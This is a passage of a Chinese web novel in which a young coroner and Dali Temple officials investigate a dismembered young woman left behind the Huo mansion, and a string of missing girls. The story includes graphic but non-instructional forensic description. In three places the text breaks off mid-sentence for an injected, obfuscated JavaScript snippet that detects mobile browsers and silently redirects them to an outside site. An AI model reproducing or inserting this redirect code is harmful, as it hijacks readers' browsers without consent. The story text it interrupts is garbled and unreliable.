盛京里高门望族的府邸上,下人们会在天未破晓之时便开始劳碌。终于待到天光大亮,侍女提着最后一个渣斗打开了霍府的后门,她略带疲倦,眉眼间依稀还有些朦胧。 还好后门外人迹罕至,没有人会揪着她打盹儿不放,侍女松了口气。 她倾倒渣斗,将里边秽污清理了个干干净净。侍女正欲转身回府,余光却突然扫到一个大麻袋,她不虞地蹙起细眉,在心里骂着这个乱扔亵物之人。 她俯下身来从袋口探去目光。 紧接着猛得瘫倒在地,声嘶力竭的尖叫响彻云霄,引来了众人好奇围观。 “这就是你发现尸块的经过?”沈无逆只觉棘手,捏着眉心询问。 小侍女已经骇得张口结舌,抚着胸膛几欲呕吐,身体还发抖不休,“我、我看到了一只手,女人的手,上面、上面还有血。” 看她神色痛苦,沈无逆便派人将侍女带了下去。 曲霜姿皱眉,若有所思,“先验尸吧。” “这如何验尸?”沈无逆看着尸袋,鼻腔里都充斥着腐败的气味,他偏开目光,努力将自己的目光移开,“看也能知道这女子必然遭到了非人的折磨,被人残忍分尸。” 他说着说着就恶心,连忙跑了出去,扶着树干呕不止。 这还是大理寺这么久以来,头一桩如此惨绝人寰、令众人胆裂魂飞的案子,院子里几棵大树都遭了罪,被七八个人围着作践。 曲霜姿缄默不言,径自套上深色布袍,戴好装备,随后当着众人的面关了厅堂的门,大理寺卿阖眸立在一旁,沈无逆上前请示道:“大人,一人验尸恐不合规矩。” 大理寺卿面如土色,不愿开口多言,只摇了摇头算作默许。 沈无逆担忧地看向那扇紧闭的门,心中既惭愧又叹服,曲霜姿小小年纪,又是一介女流,居然看着这样毛骨悚然的场面而没有丝毫慌乱,真的是让在场诸多男子自残形愧。 长风倒是不怕,只是恶心,就站在门外不远处盯着。 而林寻雁和乐知都吐得眼睛发红,她们是着实被吓到了,现下脑子里都是看到那些尸块时的场景,甫一想到,便又恶心难耐,不寒而栗。 霍迁亦是如此,他几乎没敢看那东西一眼,就已经退了出来。 沈无逆沉息屏气,上前推开了门,林寻雁也强撑着跟了上去,想要帮帮曲霜姿。 两人推开门看到那场面都是眼前一黑,林寻雁虽做好了心理准备,但此情此景实在可怖,立刻就跑回了树下。沈无逆还略强些,忍着作呕的欲望开口:“曲霜姿,你需要帮忙吗?” 少女从始至终没有抬过眼,她冷静持着手中工具,未曾有半分怯意,只是眉头微蹙,眸中的光似有黯淡,想必是太过专注的缘故。 她一人,此时便是一个世界。 沈无逆咬牙,从怀里掏出纸笔,“我来帮你记录。” “关门,外边太吵。”曲霜姿淡淡下令。 从前沈霁明总觉得曲霜姿颐指气使,现下却将她的话奉为神谕,即刻转身掩了门。 曲霜姿继续道:“你就对着门,也不要过来,觉得气味难忍,那边有面罩。” “我声音大些,你听着记便是,若是支撑不住我便自己记。” 沈霁明莫名感到心安,他偏要看着曲霜姿验尸,看少女眼里的聚精会神、看她手下的出神入化。 “共五十三个尸块,身体部分残缺,头颅残缺,但根据尸块拼凑和手部特点,可以判断是一名女子,年岁约为十八到二十一岁。” “此女子应身高五尺左右,身材纤细,后背处有红色胎记,死亡时间在十二个时辰以内。” “尸块上有不明白色液体,初步怀疑是为男性元阳,此外,其他部分可见伤痕,死前应该经受过粗暴对待,或是在逃跑过程中受伤。” “初步判断为被人玷污后杀害分尸。” 曲霜姿呼出一口气,紧绷的身体放松下来,她褪掉身上装备就要往门外去。 沈霁明连忙拉住她的衣袖,“你去何处?” “你们不是不喜这尸臭味吗?”曲霜姿轻轻甩开男人的手,冷声回复,声音带有倦意,“我去收拾收拾。” “辛苦了,”沈无逆抵住门,不顾曲霜姿的挣扎将她拥到怀里,“辛苦你了,如果没有你,这案子就毫无头绪了。” “我替大理寺的大家谢谢你。” 曲霜姿被措手不及拥在怀里,大脑突然空白一片,“你这是做什么?”她慌乱挣扎,反而被更使劲儿地拥住。 这拥抱来得太措不及防,迟钝如曲霜姿却也从这行为中觉察出了暧昧的气息,这种隐秘的亲密与暧昧像是一团火,烧得她全身发烫,但偏偏又没让她觉得冒犯。 沈霁明适时地松开手,若无其事地清清嗓子,“我去命人调查最近有没有失踪的女子。” 曲霜姿没反应过来,慢半拍地点了点头。 — 放出曲霜姿给出的关键信息后,很快便有人来认尸,但出人意料的是,前来认尸的不止一人。 十几个人围在大理寺的院子里,都说是自己的女儿失踪了。 曲霜姿和沈霁明相视一眼,觉得此案更加扑朔迷离起来。沈霁明严肃问道:“你们的女儿都是身高五尺左右?” 有人摇头退后。 曲霜姿蹙眉,“都是身材纤细?” 众人都点头应是,曲霜姿无奈扶额,这世界崇尚以瘦为美,对女子尤为苛刻。 她紧接着又问:“都是后背有红色胎记?” 一个老妇人颤颤巍巍地举起了手,声音已经明显带上哭腔,眼中蓄满了眼泪,“我的女儿!” 沈无逆不由得叹息,“其余人等跟我去登记立案,把你们女儿的详细情况留下,大理寺必会倾力寻找。” 曲霜姿走向老妇人,“大娘,您确定您的女儿都符合这些特征吗?” 老妇人含泪点头,沙哑着嗓子哭喊:“小姑娘,我的女儿呢?” 曲霜姿实在不忍心让老妇人看到女儿现在的模样,她虽已经提前将尸块拼接在一起,但终究拼不完全,依旧骇人,她只好再确认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007136|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“您女儿叫什么名字,又是什么时候失踪的?” “她叫姬婻,前日晚上就没有回家。” “前日失踪,怎么没有报案?”曲霜姿惊道。 “我们家在城外,都是农民,我女儿常入京来卖花簪,赶不上城门关闭也是常有的,我们只当是她还在城里卖花簪……” 其余未报案的家人也该是同样的想法,自家女儿丢了都不甚放在心上。 “那您女儿可有什么仇家?” “一个农姑娘,整日地里劳作,再无非就是来城里卖些花簪,要不是家里没有男丁,否则又怎么会让她出来抛头露面,又怎么会有什么仇家?” 曲霜姿听着这话不由得皱眉,但事到如今也只能说实话。 老妇人承受不住这噩耗,登时昏了过去。 “快把大娘扶下去休息。”曲霜姿叮嘱长风道。 “这大娘该是很少进城,今日进城寻女刚好听到了大理寺的消息,”少女忙了一上午,疲累地回屋坐下,对面三人站桩似得站在她面前,都在等她发话派任务。 曲霜姿无奈至极,“我也就只负责验尸查案啊,你们去帮沈无逆那边吧。”乐知和林寻雁去了,长风却还是立在原地,“下一步打算怎么办?” 曲霜姿失笑,“这也不由我说了算呀。” 长风面色严肃,“我只听你的。” “要是有这姑娘的画像就好了,拿去街上问问,看有没有人见过,总比单有一个名字好,”少女无奈地耸耸肩,“可那又怎么样呢?偌大的大理寺都请不到一位画师。” 她这话音刚落,长风便头也不回地走了,半个时辰不到,他就拿着一副画卷回来了。 曲霜姿傻眼了,“这是?” “从前学过,经常画。”长风冷声回答,他跟着那些人牙子,也会有需要画画像的时候,再加上从前师傅教过,到也算是炉火纯青,“大娘醒后我问了问,根据她所描述的画此画像。” “哝,你看看?” 曲霜姿接过画像,画像上的女子栩栩如生,脸上带着少女未散的青涩感,长相虽不出挑,但也算得上是清丽恬淡,看着便让人心生欢喜。 “可惜了。”曲霜姿喉头一哽,寂然默哀。 但她看着看着莫名就觉得熟悉,“你去叫乐知来,这人我们可能见过。”果不其然,乐知一见画像,眼睛都瞪圆了,她惊叹道:“是见过,我和霜姿见过她在街头卖东西,只是不知买的什么,像是花儿,还挺好看的。” 说着说着便悲从中来,开始抹眼泪了。 沈无逆看了画像,难以置信地看向长风,他竟没想到长风还有这样的技艺,大理寺总算是添了位能人。 大理寺不少人见了这画像都啧啧称奇,纷纷都表示似乎也见过这位卖花簪的女子,但可惜都是一面之缘,只是见过,没有深入。 唯有一人面色铁青,被敏锐之人都看到眼里。 “就把这张画像贴出去,看看有谁见过这姑娘,尤其是在霍府周围问问。”沈无逆沉声下令。 曲霜姿点了点头,她也觉得,这尸袋出现在霍府,并非巧合,必然有一定的原因。 63. 置生死于外 “霍公子,你可有什么话要说?”沈无逆蹙眉看着霍迁,语气很是为难,没想到这案子居然真的和霍府扯上了关系,那画像张贴出去不久,就有人来提供线索,说是常见姬婻出入霍府。 霍迁作为盛京名副其实的纨绔子弟,向来都是万花丛中过、片叶都沾身。 “你和姬婻是什么关系?”大理寺卿神情凝重,他做在这位子上许多年,八面玲珑如鱼得水,从来都对其他达官贵人们睁一只眼闭一只眼,大理寺何曾有过这样棘手的案情? 都怪那曲霜姿,男人怫然不悦,用余光剜了眼曲霜姿。 “我们毫无关系啊,大人,”霍迁眉头紧锁、面露忧愁,“我只是偶尔从她那儿买些花簪,让她送到我府上罢了。” “你买花簪作甚?” “自然是送人啊,”霍迁面露尴尬地摸了摸鼻子,“盛京该有不少姑娘能为我作证。”他说着就开始点姑娘的名字,其中不乏有温香楼知名的头牌,还有些世家小姐的名字。 林寻雁淡然举手,面无表情道:“我确实也收到过,只是回绝了。” 曲霜姿听了登时瞪大双眼,这霍迁还真是……纨绔中的纨绔。 大理寺卿不欲理会少年人之间的情爱事,只正色清清嗓子,正色道:“那她上次去你府上是什么时候?” “前、前日。”霍迁老实回答,倒与提供线索之人说的对上了。 “何时离开?” “那日晚上……我记不大清了,”霍迁语气急切,举手作发誓状,“我府上下人皆能作证。”然而既是他府上下人,便有袒护他的嫌疑,做不得证。 “如今看来,确实没有实际的证据证明霍公子就是嫌凶。”大理寺卿顿了顿,语气松快起来,似有包庇之意。曲霜姿适时冷声补充,“但也没有证据证明他无罪。” 空气中突现凝固的火药味,曲霜姿坦坦荡荡地和高座上的男人对视,丝毫没有怯意,终究是大理寺卿自觉理亏让了步,“那便先将霍公子看管起来。” 霍迁羞恼地挣扎,怒喊道:“如果是我杀的人,怎么可能把尸体扔到自家后门,这是欲加之罪……何不能辞!” 何患无辞……曲霜姿在心里默默纠正了他,温声开口劝道:“毕竟是人命关天,现下也并未将你作为嫌犯,只是让你暂时留在大理寺配合调查罢了。” 霍迁哼了一声,拂袖甩开身边几个捕快,抬头挺胸气势汹汹地走了出去,“本公子有腿,会自己走!” “那便继续查吧,看看何人在前日晚上见过姬婻,有任何进展都须告知于我。” 大理寺卿终于离开,林寻雁移到曲霜姿身边,“你可真厉害,敢呛他,明目张胆第一人呐。”曲霜姿甩甩手,谦虚道:“这样明显的包庇袒护,若是传出去,咱们大理寺成什么了?” “从前他可从不过问查案的事儿,现下却说要将诸事上报于他,其心思昭然若揭。”曲霜姿目光一沉,“咱们还是先查案吧,不论是何人作案,我必将其绳之以法。” 曲霜姿办起案来是置生死于外的,在场众人无人不知,沈无逆亦走了过来,“莫要大言不惭,先查再议。” 他这话里警告的意味深长,如果当真是霍迁杀人分尸,牵连到霍家身上,可就真的扎手了,那可是只手能遮半边天,朝上一半相随相和的霍怀远。 身为左相,又曾是皇帝太师,深得皇帝信赖,余肃甚至都要被他压一头。 其长子虽才疏学浅,却是本朝唯一的驸马,是大皇子的姐夫。 的确不容小觑,与霍怀远作对,简直就是自不量力,曲霜姿咬唇,“先查再议。” 长风快步走上前,拱手道:“曲小姐,霍迁说要见您。” 少女讶异,伸手指指自己,“我?” 得到长风的肯定,曲霜姿狐疑地走到关押霍迁的屋子去,她心中感慨,不愧是霍相之子,关押的地方都与旁人不同。 她敲门而入,看着还悠闲坐在桌前喝茶的霍迁。霍迁见她进来,脸色却登时大变,他飞快冲过来,“曲女侠、曲小姐、曲大人,人真的不是我杀的啊。” 他尾音带颤,犹带哭腔,说的话至少听起来是情真意切。 曲霜姿不知所措,“你这是做什么?” “我知道你厉害,必能将真正的凶犯绳之以法,你看啊,那尸袋都抛到我家门口去了,一定是有人蓄意陷害,你一定要还我清白啊女侠。” 上次他们一起参加比试,曲霜姿其实能感受到,此人虽整日耀武扬威、招摇过市,却实在是个真性情,敢爱敢恨,想说就骂,虽然一副风流公子的行径,却也从不遮掩。 “如果不是你,那我必定不会让你蒙冤。”曲霜姿郑重许诺。 走出房屋,沈霁明便在屋外等她,“他同你说什么了?”男人眼神中尽是关切。 “出乎意料,他让我还他清白。”曲霜姿无声叹了口息,不得不承认,她心里对霍迁的怀疑也消了几分,霍迁做了近二十年的玉面公子,堪称手无缚鸡之力,骑马都不稳当。且他虽看不起曲霜姿,却也没怎么为难过她,只是偶尔逞口舌之快,又能和姬婻有什么深仇大恨,以至于他要杀了个农家姑娘泄愤? 但眼下说什么都是空口无凭,查案还是要讲究实证。 沈霁明莫名松了口气,轻声道:“那就好。”曲霜姿不明所以,但她一心系在查案上,便也没有询问过多。 二人拿着画像到姬婻常卖花簪的地方走了一遭。 “大伯,您见过画像上的女子吗?” 老伯忙咽了口口水,把手上水珠揩在衣服上,“见过,姬婻姑娘。” 曲霜姿眼睛一亮,欣喜地与沈霁明交换眼神,她继续问道:“您对她了解多少?她在盛京可与什么人结过仇?” “没有吧,我只知道那小姑娘人很好,也会做生意,只是她这两日都没来,你们找她有什么事?” “我们没什么事儿,就想和她交个朋友,买些花簪。”曲霜姿答道。 “她真没什么仇家,反而很招人喜欢,霍公子知道吧?”老伯看二人衣着不凡,便默认他们知道,神秘兮兮地眨眨眼,卖关子道:“霍公子可照顾她生意呢,前日她还去霍公子府上送花呢。” “兴许是被大人物看上了,未来有的是好日子啊。” 曲霜姿尴尬地应和笑笑,道了谢就把沈霁明拉到一边,沈霁明看出她不喜那话,顺势安慰道:“他见识短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027260|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅,你莫要同他计较,女子也可以选择自己的人生。”他这话讨好的意味很重,然而曲霜姿却没听出来,但心情确实好了些,她拍拍男人的肩膀,“哎呦,很上道嘛。” 他们又走到一个小摊旁。 “大理寺查案,我且问你,有没有见到画像上的姑娘。” 男子看了看画卷,支支吾吾地开口:“见、见过,”他说着眼睛还不离开画卷,像是还在仔细辨认,“不好意思,小的眼神不好。” 沈霁明厉声道:“到底认识不认识?” 男子声音直接吓软了,“认识认识,卖花的姑娘,和霍府的公子关系很好。” 曲霜姿定睛一看,竟然觉得此人面熟,“钱羽?” 果然是钱羽,沈霁明也认出来了,“你现在在做什么营生?” 钱羽捧出一个精致的布袋,阿谀道:“我老娘做的,送给两位大人。”曲霜姿想起钱羽曾说过的话——“我考取功名却被顶替,我老母为供我读书夜以继日地在丝纺局操劳,如若我无法入选,我们未来又该怎么生活!” 她怔然道:“你没有再考取功名了吗?” “没有,讨生活要紧嘛,我老娘年纪大了,丝纺局也干不了了,就在家里自己做些物什。”钱羽嘴角上扬,眼里却没有半分笑意,曲霜姿接过他手里布袋,细细把玩起来。不得不说,这布袋做得真是别出心裁,通体呈极淡的青蓝色,针脚细密整齐,像是透着光,绣的花样也难得,居然是片片霜花,曲霜姿爱不释手,忍不住问道:“这布是用什么染就的?” “花汁和菜汁。” 曲霜姿震惊不已,一个老妇人竟然有这样的巧思,曲婧从前也常用花和蔬菜染色,想到这里,她对这布袋更是喜爱了。 但她很快回神,想起自己是来做什么的,“咳咳,我不能白拿你的东西,我给你钱。”她还没掏出钱袋,沈霁明就已经面不改色地付了钱,曲霜姿讪讪收回手。 “你对姬婻姑娘了解多少?” 钱羽脸上浮起茫然,沈霁明提醒道:“就是画像上这姑娘。” “我我……”钱羽又结巴起来,半晌才憋出一句,“我只知她和霍迁关系匪浅,前日她还去了霍府。” 曲沈二人面色不约而同地难看起来,不知姬婻的名字,却知道她和霍迁关系匪浅? 他们继续盘问,却再问不出什么,只好又找了位大娘询问。依旧是大差不差的答案,“我知道这姑娘,容貌清秀,性格良善,未来定能嫁给好儿郎,只是她好像和霍府公子关系不错……”大娘还要再说,曲霜姿却急忙遏止,“停,大娘,除了霍迁,你还知道别的什么吗?” 大娘摇摇头。 曲霜姿长叹一声,“走吧。” 沈霁明转身,二人正欲离去,忽得身后传来一道声音,“你们是想找姬婻姑娘吗?” 他们回头看去,是个郎中打扮的男子,支着一个破破旧旧的摊子,摊子上还插着旗子,写道:“悬壶济世”,怎么看怎么像是江湖骗子。 “这位公子,咱们见过呀,夫人身子可好些啦?” 意识到这话意思的曲霜姿目瞪口呆,她飞快看向沈霁明。 什么夫人!!?? 64. 牵着鼻子走 沈霁明紧张地抿唇,他想起来了,那日曲霜姿病酒,他就是请了这位郎中。 还没等他回应,那郎中又笑道:“夫人身子看起来好了许多呀,可还会病酒?”曲霜姿反应了过来,她瞪了眼沈霁明,礼貌回答:“我身体挺好的,多谢那日郎中替我诊治了。” “医者治病救人,理所应当,倒是这位公子,连夫人病酒都不知,这么貌美的夫人可要好好照顾呀。” 沈霁明憋得满脸通红,呛咳不止,曲霜姿也觉着脸烧得慌,连忙转移话题,“那您认识姬婻姑娘?” “认识,她曾找我买过药,说是她阿娘病了,不过已是半个多月前的事儿了。” “您还还有别的吗?”曲霜姿试探追问。 郎中思索片刻,缓缓开口:“她说她近来心神不宁,总觉得有人跟着自己,回头看却没有人,我便给她开了些安神的药。” 那便绝对不是霍迁,霍迁要真的喜欢什么姑娘,肯定会使尽浑身解数,他追姑娘向来光明正大,有时还闹得满城皆知,断不会有尾随跟踪此等鬼祟下流行径。 “多谢您了。” “话说回来,您怎么不开医馆了?”沈霁明奇怪地问,他给曲霜姿看病自然不会随便找个江湖骗子,此人可是民间数一数二的郎中,怎么会沦落至此? 郎中没回答,苦笑一声,缄默良久才沧桑道:“药材昂贵难得,赋税……罢了罢了,怎么救人不是救?” 如今,物价飞涨,赋税苛杂,大半的买卖都被朝廷垄断,盛京民间的生意是半点不好过。 回大理寺的路上,二人相对无言,内心五味杂陈。 今日线索少的可怜,曲霜姿将香囊拎在手上,透过香囊看像惨淡无光的天空,飘飘然叹息道:“我将香囊钱还给你吧。” “不用了,就当是生辰礼物。”沈霁明神色有些不自然。 她确实生辰将至,曲霜姿突然愣住,喃喃出声:“生辰礼物?”她完全忘记了自己的生辰,甚至是她刻意忽略掉了,阿娘不在,过生辰又有什么意义呢? 她哑然失笑,“还是我把钱给你吧。” “不过你是如何知道我的生辰的?”她追问道。 沈霁明避而不答,“收下吧,当是立冬礼物也好。” “哪有送立冬礼物的?”曲霜姿哭笑不得,她从前怎么没发现沈霁明有这么固执、可爱的一面,和刚入京时截然不同,多了份真实温暖的活人气。 “那便是春节礼物。”他眼睛亮得出奇,仿佛是不达目的不罢休。 “好吧,”曲霜姿拗不过,也的确没心情和他僵持,“那你的生辰呢?我要回礼的。” 这下轮到沈霁明说不出话了,他半晌才干巴巴挤出一句:“忘了?” 曲霜姿大惊,“怎么可能?” “我许久不过生日。”他没再多说,加快脚步走到了曲霜姿的前面,曲霜姿看不到他神情,只觉得男人落寞至极。 她细细思忖,是了,沈霁明和无人生无人养的弃孤没什么区别。邵辰那边的消息已经传至了整个大安,说是已经立了新子为太子,可惜沈霁明坚持了这么久想要回家的愿望,他唯一的支撑就是远在千里之外的家人,可是他的家人先行放弃了他。 曲霜姿如鲠在喉,没再追问。 — 翌日清晨,霍府的小侍女再次在后门发现了可怖之物——一颗头颅,姬婻的头颅。曲霜姿验完了这颗头颅,长风的画技确实不错,这颗头颅的容貌几乎与画像上一模一样,“姬婻是被勒死的。” 她这结论得出来没多久,前往霍府搜查的沈霁明便带回了在霍迁房中找到一根带血麻绳的消息,曲霜姿的脸色凝重,冷得像是结了一层霜,她喃喃道:“怎么会有这样巧的事儿。” 沈霁明也觉得不可思议,昨日他们没找到什么有价值的线索,而这一大早,就有人把证据送上门来,从昨日开始,他们就像是被人牵着鼻子走,像是有人已经迫不及待看霍迁入狱,看霍家蒙难。 “去查查霍府周围有没有可疑之人,还有从昨日到今日,有那些人拜访过霍府,再将霍府所有人都一一审过。” 纵使大理寺卿再想包庇维护,也再无可奈何了。 紧接着又有更大的声涛传来,多名大臣齐奏,状告霍怀远,一连十几条罪状,可谓是惊动朝野。温孤昪为肃清朝政绝不容私,下令让大理寺和检察院共同查案,大皇子温孤嘉宥督查,必将两桩案件查个水落石出。 眼看他起朱楼,眼看他宴宾客,眼看他楼塌了…… “案子会查清的,你现在要做的是配合!”沈无逆肃然道。 “你是二皇子的人,我要见曲霜姿。”不知换了多少个人审他,霍迁都窝在一处不言不语,誓不配合。 曲霜姿急急赶来,一呼一吸间充斥着股腐败的潮湿味,她深觉时过境迁,恍若隔世。前日她还感慨霍迁的待遇优渥,今日便看着霍迁暮气沉沉,像是突然之间换了一个人,整个人都没了精气神儿。 “我父亲怎么样了?还有我母亲、我兄长?”他扑上前来,由于久未开口,嗓子都格外干涩,几乎听不出是个少年人的声音。 曲霜姿按住他的肩膀,“你父亲关在检察院,府内其余人都尚且安好,只是被关在府里,你兄长入赘皇家,不会受到牵连。” 霍迁这才猛松一口气,瘫软在杂草堆上大口大口地喘息,嗓子发出破风箱似的声音,“那就好……” “来人,拿水来。”曲霜姿喊道,觉得有些不可思议,“他们竟连水都不许你喝?” 霍迁捧着茶杯,看着水面自己的倒影失神,“不是不许,是那水根本不是人喝的。” “前日尚且是以盏奉茶,这两日……”他声音低哑下去,随后话锋猛然一转,“我求你帮我看顾好我的家人,如今也不知是谁要害我们霍家。” 曲霜姿看出他是想利用自己余相之女的身份,但也是情理之中,她并不在意,她亦压低声音,肃然道:“我最后问你一遍,你一定要说实话?” 霍迁郑重举起手来发誓,“我霍迁虽行迹浪荡、吊儿郎当、贪图美色,但绝不会做伤天害理之事!”他眼里闪着泪光,这泪光洗去了他身上不吝,反而更像是个顶天立地的好男儿。 “我信你一次。” — 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037261|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子温孤嘉宥已经到了大理寺,众人在院子里隆重迎接,温孤嘉宥虽见惯了这样的场面,但仍是受宠受惊。 “诸位快快请起,以查案为主,勿要因我耽搁时间,”他走到沈无逆旁边,细细问过案情,眉间皱作一团,“倒真是棘手,只是请你们相信,我与子墨从小相识,他绝不是会害人性命,做出这样伤天害理的事。” 他看到曲霜姿,眼神忽得亮了亮,“曲大人,久仰大名。” 曲霜姿被这声大人叫得脸直发烫,“大殿下,您有什么需要找我便是,我一定努力查案。” 沈无逆状若无意地插到二人中间,脸上笑容似乎饱含几分咬牙切齿,“大殿下觉得,此案该从什么角度入手?” “先找到杀害姬婻姑娘的真凶吧,检察院有检察院的查案手段,霍大人那边我也帮不上什么忙,只能先让受害的姑娘瞑目,为子墨洗刷冤屈。” 曲沈二人也正是此意,只是关于这姑娘的线索太少,他们查出来的全部都是有心之人故意摆出来的,这样被人牵着鼻子走,那岂不是拿他们当猴耍,大理寺的威严又何在? 曲霜姿脑中灵光一闪,“凶器不只有麻绳,还有分尸用的工具。” “一把刀子,霍府恐怕多的是。”沈霁明皱眉。 “平时做饭切肉尚且需要好刀快刀,若是用来分尸,则更不必说了,只是偌大的盛京,到何处去找这一把刀呢?”少女叹息,顺口问道:“最近其他失踪女子找到了吗?” 沈霁明摇摇头,“那日来的人有些都不愿意立案调查,说是回去等等,说不准女儿就回来了,而其余登记了的,也都没有线索。” 大皇子难以置信,“什么?有很多失踪的女子吗?” “大殿下您有所不知,女子随父籍、随夫籍,失踪的女子不仅多,而且难以寻找,也许是忍受不了家庭逃跑了,也许是有了情郎私奔了,不管是何种缘由,终究不过一介女子……又能有什么影响呢?”沈无逆眼神带着冷意,淡淡地看了眼温孤嘉宥。 他这一席话算得上振聋发聩。 听得曲霜姿心头难受,“还是分些人手找找那些姑娘吧,也许就能找到呢?” “万一她们正处于危险之中,那大理寺可不能坐视不理。” 沈霁明应了一声,立刻吩咐了下去,“那殿下,我们再去霍府调查调查。”曲霜姿紧跟其后,温孤嘉宥连忙跟上,“我也去。” 三人来到霍府,府上一派死气沉沉。 “你们府上所有的下人都在这里了吗?”曲霜姿看着院子里乌泱泱的一群人,头有些发疼。 管家谄媚地笑道:“只有一位女婢不在,她昨日晌午去街上采买,还未回来,该是听说封府被吓得不敢回来了。” “你们可有派人找过?”少女紧攥着眉头。 管家怔愣着摇头。 “她是一个人去的吗?”曲霜姿又问。 管家连连点头,府内一大群人,此时却诡异地沉默,像是一群了无生息的偶人。曲霜姿欲回归正题开始审问,突然有一个细微低弱的声音传了出来。 “她不是一个人,是我和她一起去的。” 65. 皇家马戏团 众人朝着声音看过去,是一个十分瘦小的侍女,曲霜姿认真地看向她,“你说什么?” 管家即刻拦在二人之间,“您听错了,她什么都没说,您……”曲霜姿狠狠一记眼刀向男人剜去,竟将他吓退了,管家畏手畏脚地缩在一旁,小心翼翼地瞄着曲霜姿这边。 “那你知道她去哪儿了吗?”曲霜姿语气温和,耐心地询问。 “我们兵分两路,她是去给二小姐买胭脂的,我看着她走进店里,等我买完东西回来,便找不到她人了。” 又是失踪吗?曲霜姿不自觉地皱眉,“她在盛京可有什么亲朋好友,有没有别的什么去处?” “我最知道她,她绝无其他可以去的地方,而且二小姐待她极好,她买胭脂时还兴高采烈的,一定是遇上了什么事情!” 沈霁明眼神变得狠厉,“那你为何要说谎?” 管家腿都要吓软了,他素日里听闻沈公子是个任人宰割的软柿子,却不想身上气焰如此压人,他连忙跪伏在地,“大殿下、沈大人,我只是想着多一事不如少一事,没有坏心思的呀。” “府上有人失踪,你身为管家却不派人寻找,如何和霍大人和霍夫人交代?”曲霜姿回头斥责。 大皇子忙出来打圆场,“二位,咱们还是先查案,这管家有错,但也不是打错,先搁置了吧。” 曲霜姿眸光冰冷,声音都有些颤抖,“沈……霁明,算上之前失踪的姑娘,盛京最近失踪的女子有多少了?”她内心升腾起极不好的预感。 “至少十五个。” “这绝对不是巧合!”曲霜姿抬眸,目光如炬坚定地看向沈霁明和温孤嘉宥,她再次重复:“绝非巧合。” 她转头问那个小侍女,“你那位朋友,年龄几何?身形又如何?把你知道的都告诉我。” 小侍女手忙脚乱地比划,“她比我大两岁,应是十八岁,但个子和我差不多,蛮瘦的,是府里最漂亮的姑娘,人也很好!” 都对上了,十八岁到二十一岁之间的姑娘,身材娇小玲珑,容貌无一不是姣好的,如果这还能算得上是巧合,那天底下怕通通都是巧合了。 温孤嘉宥醍醐灌顶般,整个人僵愣在原地,“你的意思是,盛京有人盯上了这些女子,将她们掳走、玷污甚至是杀害分尸!”话虽从他自己口中说出,可他还是有些不敢相信。 “天子脚下、盛京城中,竟会有这样的恶魔?” “不是没有可能,”曲霜姿笃定道,她如今对这位大皇子也有所了解,仁善温和、良恭俭让,与传闻中一样好相处,只一点不好,就是太过天真,他以为如今的大安还是太平盛世、海晏河清,实际上阴暗之地早已鱼龙混杂、充满了勾心斗角,只待鱼死网破浮于水上。 难怪大皇子不够得势。 “殿下,这女奴刚失踪不久,人命关天,我们先从此案入手吧。”曲霜姿请示。 温孤嘉宥赞同道:“都是我大安的子民,救人要紧。” “姑娘,你带我们去街上重复昨日你们走过的路,途中回忆起任何蛛丝马迹,都要告知于我。” “沈霁明,你回大理寺去,加紧对其他失踪案的调查。”曲霜姿不能使唤大皇子,便使唤沈霁明,这么久以来她使唤沈霁明已经使唤得相当娴熟了。 “那好,大殿下,我先回大理寺了,请您务必注意安全。” “无逆,你放心吧,我的侍卫都在暗中保护我,不会有事的,我也会保护好曲小姐的。” 曲霜姿无奈挑眉,“那大殿下,咱们快些吧。” — “就是这家店,二小姐最喜欢这家的胭脂。” 曲霜姿顺着侍女指的方向看去,居然正是二皇子的店,她心生狐疑,难不成此案又和二皇子有关系? 她假装无意间提起:“大殿下,你在外可有产业,譬如像二皇子这样的?” 温孤嘉宥讶然慨叹,“这竟然是二弟的店啊,我无经商之才,只是跟着几位长辈投资了几家店,分些红利罢了。” “殿下,我能否冒昧问一句,”曲霜姿压低声音,几乎是在用气声讲话,“您当真不在乎太子之位嘛?” 温孤嘉宥愣了愣,嘴角牵起笑容,依旧持一副温润如玉,“倘若二弟能让百姓安居乐业,能使大安富强繁荣,我便只做辅佐之臣又如何?”他眯着笑眼看向曲霜姿,“不过,若像你这样真心爱护百姓之人多了,咱们大安才能真正地国泰民安。” “不敢当,”曲霜姿躬身言谢,她真诚开口:“有您这样心系百姓的皇子,才是大安之幸、百姓之福。” 曲霜姿对男人多了几分信赖,幸好大安皇室还有这么个根正苗红的皇子,否则大安的未来当真是黑暗无光。少女回神,她走进胭脂铺,店里仍旧只有阿若嬷嬷一个,“老板,昨日有没有一个十七八岁,个子五尺左右的姑娘来店里。” 